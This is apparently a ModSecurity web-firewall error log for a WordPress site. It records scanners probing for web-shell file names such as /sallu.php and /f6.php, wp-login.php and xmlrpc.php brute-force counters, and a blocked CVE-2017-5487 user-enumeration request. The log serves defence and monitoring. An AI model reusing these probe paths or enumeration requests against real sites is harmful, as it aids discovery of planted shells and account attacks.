[Sat Apr 18 03:24:40.418201 2026] [:error] [pid 7181:tid 7201] [client 4.235.108.154:24033] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/error_log.php"] [unique_id "aeKI-IEOj_oGYqvsyOL6FQAAAA8"]
[Sat Apr 18 03:24:42.986434 2026] [:error] [pid 7297:tid 7310] [client 4.235.108.154:32982] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/error_log.php"] [unique_id "aeKI-vskyTNS2mWBKwxmSwAAAMs"]
[Sat Apr 18 03:24:44.812516 2026] [:error] [pid 7183:tid 7246] [client 4.235.108.154:33356] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/error_log.php"] [unique_id "aeKI_OA91zZXz3qCkYfmfwAAAIY"]
[Sat Apr 18 03:24:46.319281 2026] [:error] [pid 7297:tid 7314] [client 4.235.108.154:28044] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/Ov-Simple1.php"] [unique_id "aeKI_vskyTNS2mWBKwxmUwAAAM8"]
[Sat Apr 18 03:24:48.670646 2026] [:error] [pid 7183:tid 7248] [client 4.235.108.154:48241] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/Ov-Simple1.php"] [unique_id "aeKJAOA91zZXz3qCkYfmhQAAAIg"]
[Sat Apr 18 03:24:49.631907 2026] [:error] [pid 7183:tid 7260] [client 4.235.108.154:29015] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/Ov-Simple1.php"] [unique_id "aeKJAeA91zZXz3qCkYfmhwAAAJQ"]
[Sat Apr 18 03:24:51.967548 2026] [:error] [pid 7182:tid 7234] [client 4.235.108.154:34849] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/Ov-Simple1.php"] [unique_id "aeKJA3mhT2qj5cszsF331wAAAFU"]
[Sat Apr 18 03:24:53.382746 2026] [:error] [pid 7297:tid 7299] [client 4.235.108.154:35905] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/curl.php"] [unique_id "aeKJBfskyTNS2mWBKwxmXAAAAMA"]
[Sat Apr 18 03:24:54.691998 2026] [:error] [pid 7297:tid 7302] [client 4.235.108.154:33738] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/curl.php"] [unique_id "aeKJBvskyTNS2mWBKwxmYgAAAMM"]
[Sat Apr 18 03:24:59.515603 2026] [:error] [pid 7183:tid 7253] [client 4.235.108.154:40086] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/curl.php"] [unique_id "aeKJC-A91zZXz3qCkYfmiQAAAI0"]
[Sat Apr 18 03:25:02.593813 2026] [:error] [pid 7297:tid 7319] [client 4.235.108.154:30842] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/curl.php"] [unique_id "aeKJDvskyTNS2mWBKwxmjwAAANQ"]
[Sat Apr 18 03:25:04.013502 2026] [:error] [pid 7182:tid 7231] [client 4.235.108.154:45102] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sallu.php"] [unique_id "aeKJEHmhT2qj5cszsF334AAAAFI"]
[Sat Apr 18 03:25:10.279918 2026] [:error] [pid 7297:tid 7300] [client 4.235.108.154:34829] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sallu.php"] [unique_id "aeKJFvskyTNS2mWBKwxmoAAAAME"]
[Sat Apr 18 03:25:16.857883 2026] [:error] [pid 7297:tid 7314] [client 4.235.108.154:45069] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sallu.php"] [unique_id "aeKJHPskyTNS2mWBKwxmsQAAAM8"]
[Sat Apr 18 03:25:19.623214 2026] [:error] [pid 7183:tid 7257] [client 4.235.108.154:48197] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f6.php"] [unique_id "aeKJH-A91zZXz3qCkYfmlwAAAJE"]
[Sat Apr 18 03:25:22.621329 2026] [:error] [pid 7181:tid 7191] [client 4.235.108.154:32194] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f6.php"] [unique_id "aeKJIoEOj_oGYqvsyOL6JQAAAAU"]
[Sat Apr 18 03:25:24.989670 2026] [:error] [pid 7297:tid 7318] [client 4.235.108.154:45065] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f6.php"] [unique_id "aeKJJPskyTNS2mWBKwxmwgAAANM"]
[Sat Apr 18 03:25:26.627156 2026] [:error] [pid 7183:tid 7255] [client 4.235.108.154:27653] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/f6.php"] [unique_id "aeKJJuA91zZXz3qCkYfmoQAAAI8"]
[Sat Apr 18 03:25:32.308130 2026] [:error] [pid 7183:tid 7252] [client 4.235.108.154:25605] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit.php"] [unique_id "aeKJLOA91zZXz3qCkYfmpwAAAIw"]
[Sat Apr 18 03:25:51.678871 2026] [:error] [pid 7182:tid 7233] [client 4.235.108.154:25608] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/goods_260325043000.php"] [unique_id "aeKJP3mhT2qj5cszsF34JgAAAFQ"]
[Sat Apr 18 03:25:54.949405 2026] [:error] [pid 7182:tid 7221] [client 4.235.108.154:35951] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/goods_260325043000.php"] [unique_id "aeKJQnmhT2qj5cszsF34KwAAAEg"]
[Sat Apr 18 03:26:02.577663 2026] [:error] [pid 7182:tid 7236] [client 4.235.108.154:26925] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/goods_260325043000.php"] [unique_id "aeKJSnmhT2qj5cszsF34NgAAAFc"]
[Sat Apr 18 03:26:03.328937 2026] [:error] [pid 7182:tid 7222] [client 4.235.108.154:24814] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/goods_260325043000.php"] [unique_id "aeKJS3mhT2qj5cszsF34OAAAAEk"]
[Sat Apr 18 03:26:04.478122 2026] [:error] [pid 7297:tid 7321] [client 4.235.108.154:50166] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/goods_260401065719.php"] [unique_id "aeKJTPskyTNS2mWBKwxnCQAAANY"]
[Sat Apr 18 03:26:07.097772 2026] [:error] [pid 7182:tid 7219] [client 4.235.108.154:41588] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/goods_260401065719.php"] [unique_id "aeKJT3mhT2qj5cszsF34QAAAAEY"]
[Sat Apr 18 03:26:11.293175 2026] [:error] [pid 7297:tid 7311] [client 4.235.108.154:2306] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/goods_260401065719.php"] [unique_id "aeKJU_skyTNS2mWBKwxnIAAAAMw"]
[Sat Apr 18 03:26:14.063560 2026] [:error] [pid 7297:tid 7300] [client 4.235.108.154:2320] [client 4.235.108.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/goods_260401065719.php"] [unique_id "aeKJVvskyTNS2mWBKwxnKgAAAME"]
[Sat Apr 18 03:35:56.869453 2026] [:error] [pid 9864:tid 9921] [client 164.132.57.252:53086] [client 164.132.57.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.132.57.252, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeKLnICFeowknfXHM7n-UwAAAE8"]
[Sat Apr 18 03:36:02.346533 2026] [:error] [pid 9864:tid 9915] [client 164.132.57.252:53086] [client 164.132.57.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.132.57.252, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeKLooCFeowknfXHM7n-VwAAAEk"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 03:46:33.419636 2026] [:error] [pid 9865:tid 9940] [client 62.72.12.63:51884] [client 62.72.12.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.72.12.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeKOGazb5knECIY-C-hj7AAAAIM"]
[Sat Apr 18 03:46:35.530185 2026] [:error] [pid 9865:tid 9953] [client 62.72.12.63:51884] [client 62.72.12.63] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.72.12.63, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeKOG6zb5knECIY-C-hj7QAAAJA"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 04:22:53.627186 2026] [:error] [pid 9865:tid 9948] [client 46.62.148.244:53006] [client 46.62.148.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.62.148.244, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeKWnazb5knECIY-C-h3-QAAAIs"]
[Sat Apr 18 04:22:55.932068 2026] [:error] [pid 9865:tid 9957] [client 46.62.148.244:53006] [client 46.62.148.244] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.62.148.244, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeKWn6zb5knECIY-C-h3_wAAAJQ"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 04:33:40.695094 2026] [:error] [pid 9863:tid 9887] [client 192.240.182.43:57099] [client 192.240.182.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.240.182.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeKZJDjjiypiFrTucbLzXQAAAA4"]
[Sat Apr 18 04:45:47.593651 2026] [:error] [pid 9970:tid 9980] [client 206.189.39.144:35364] [client 206.189.39.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.39.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeKb-yYdRLRhVmaIMx2XnQAAAMY"]
[Sat Apr 18 04:45:51.668443 2026] [:error] [pid 9970:tid 9979] [client 206.189.39.144:35364] [client 206.189.39.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.39.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeKb_yYdRLRhVmaIMx2XtwAAAMU"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 05:01:50.636956 2026] [:error] [pid 9863:tid 9894] [client 209.38.204.226:58818] [client 209.38.204.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.38.204.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeKfvjjjiypiFrTucbL8AQAAABU"]
[Sat Apr 18 05:01:57.354423 2026] [:error] [pid 9865:tid 9946] [client 209.38.204.226:55632] [client 209.38.204.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.38.204.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeKfxazb5knECIY-C-iMWAAAAIk"], referer: https://gigfragments.org/wp-login.php
[Sat Apr 18 05:10:40.097545 2026] [:error] [pid 9970:tid 9996] [client 49.233.45.47:48852] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aeKh0CYdRLRhVmaIMx2oBAAAANY"]
[Sat Apr 18 06:18:41.082810 2026] [:error] [pid 9864:tid 9929] [client 147.135.252.145:35944] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aeKxwYCFeowknfXHM7k-PQAAAFc"]
[Sat Apr 18 06:18:43.117537 2026] [:error] [pid 13023:tid 13032] [client 147.135.252.145:59150] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aeKxw_1e7hG8DAeABB_7owAAAQc"]
[Sat Apr 18 06:18:45.059984 2026] [:error] [pid 9865:tid 9940] [client 147.135.252.145:59152] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aeKxxazb5knECIY-C-iz_gAAAIM"]
[Sat Apr 18 06:18:47.029301 2026] [:error] [pid 9970:tid 9988] [client 147.135.252.145:59162] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aeKxxyYdRLRhVmaIMx3XvwAAAM4"]
[Sat Apr 18 06:18:48.973983 2026] [:error] [pid 13023:tid 13047] [client 147.135.252.145:59176] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aeKxyP1e7hG8DAeABB_7qwAAARY"]
[Sat Apr 18 06:18:57.691981 2026] [:error] [pid 9863:tid 9877] [client 147.135.252.145:56438] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aeKx0TjjiypiFrTucbIVYgAAAAQ"]
[Sat Apr 18 06:18:59.549139 2026] [:error] [pid 13023:tid 13046] [client 147.135.252.145:56450] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aeKx0_1e7hG8DAeABB_7wQAAARU"]
[Sat Apr 18 06:19:01.504902 2026] [:error] [pid 9970:tid 9983] [client 147.135.252.145:43124] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aeKx1SYdRLRhVmaIMx3X4gAAAMk"]
[Sat Apr 18 06:19:03.440747 2026] [:error] [pid 9863:tid 9891] [client 147.135.252.145:43134] [client 147.135.252.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aeKx1zjjiypiFrTucbIVawAAABI"]
[Sat Apr 18 06:33:07.479555 2026] [:error] [pid 13023:tid 13029] [client 192.109.200.135:54067] [client 192.109.200.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.109.200.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeK1I_1e7hG8DAeABB8D8wAAAQQ"]
[Sat Apr 18 07:03:52.449517 2026] [:error] [pid 9970:tid 9979] [client 211.21.61.225:44570] [client 211.21.61.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.21.61.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeK8WCYdRLRhVmaIMx3rOgAAAMU"]
[Sat Apr 18 07:52:23.518188 2026] [:error] [pid 9863:tid 9891] [client 94.23.210.48:35920] [client 94.23.210.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.23.210.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeLHtzjjiypiFrTucbIm-gAAABI"]
[Sat Apr 18 08:01:05.419565 2026] [:error] [pid 34288:tid 34301] [client 45.161.147.50:19528] [client 45.161.147.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.161.147.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeLJweTIiy__PtiLmpk6IgAAAYk"]
[Sat Apr 18 08:18:15.074619 2026] [:error] [pid 9970:tid 9981] [client 45.161.147.50:20060] [client 45.161.147.50] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aeLNxyYdRLRhVmaIMx0EfwAAAMc"]
[Sat Apr 18 08:19:46.408470 2026] [:error] [pid 9865:tid 9952] [client 45.161.147.50:19587] [client 45.161.147.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.161.147.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeLOIqzb5knECIY-C-jTYAAAAI8"]
[Sat Apr 18 08:21:13.978428 2026] [:error] [pid 9970:tid 9987] [client 45.161.147.50:20522] [client 45.161.147.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.161.147.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeLOeSYdRLRhVmaIMx0FuwAAAM0"]
[Sat Apr 18 08:22:31.909704 2026] [:error] [pid 9970:tid 9984] [client 45.161.147.50:20337] [client 45.161.147.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.161.147.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeLOxyYdRLRhVmaIMx0GZwAAAMo"]
